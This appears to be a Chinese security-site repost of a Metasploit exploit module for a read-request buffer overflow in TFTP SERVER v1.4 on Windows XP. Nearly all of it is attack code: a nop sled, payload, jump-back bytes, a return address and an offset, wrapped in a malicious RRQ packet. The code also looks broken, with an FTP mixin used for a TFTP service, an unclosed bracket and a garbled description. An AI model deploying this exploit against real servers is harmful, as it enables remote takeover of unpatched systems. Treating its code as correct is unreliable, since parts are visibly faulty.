TFTP Server读请求远程缓冲区溢出漏洞(4)

###
# Title : TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit (MSF)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : * sec4ever.com * r00tw0rm.com
# Facebook :
# platform : windows (Remote)
# Type : Remote r00t & Buffer Ov3rfl0w
# Tested on : winXP sp3 (en)
###

##
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
##

##
# $Id: tftp14rrq_bof.rb | 2012-01-15 | 00:01 | KedAns-Dz $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
    super(update_info(info,
    'Name' => 'TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit',
    'Description' => %q{
    This module exploits a After some simple fuzzing with spike I discovered that sending a Read
  Request (RRQ) packet can also trigger a buffer overflow
    },
    'Author' => [
     'KedAns-Dz <ked-h[at]hotmail.com>', # t0 MSF
    ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 0.1',
    'References' =>
      [
       [ 'URL', 'http://1337day.com/exploits/17361' ], # by b33f
       [ 'URL', 'http://www.exploit-db.com/exploits/10542' ], # by Molotov
      ],
    'DefaultOptions' =>
      {
       'EXITFUNC' => 'process',
      },
    'Payload' =>
      {
       'BadChars' => "\x00\x0d",
      },
    'Platform' => 'win',
    'Targets' =>
      [
       [ 'TFTP SERVER v1.4 (Windows XP-SP3 / netascii mod)',
        {
        'Ret' => 0x00409605, # ppr (from TFTPServer.exe)
        'Offset' => 93,
        'Mode' => 'netascii'
        }
       ],

],
    'DefaultTarget' => 0))
    end
 
  def check
       connect
       disconnect

if (banner =~ /TFTP SERVER v1.4/)
        return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
  end

def exploit
       connect_login

print_status("Trying target #{target.name}...")

buf = make_nops(target['Offset']) # Nop's
        buf << payload.encoded
    buf << "\x41" * 1487
    buf << "\xE9\x2E\xFA\xFF\xFF" # jump back
    buf << "\xEB\xF9\x90\x90" # jump back 5-bytes
    buf << [target.ret].pack('V')
    buf << make_nops(18) # Padding
       
    dz = "\x00\x01"
    dz << buf
    dz << "\x00"
    dz << [target['Mode']
    dz << "\x00"
   
        send_cmd(dz, false )

handler
       disconnect
    end
 
end

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwzdss.html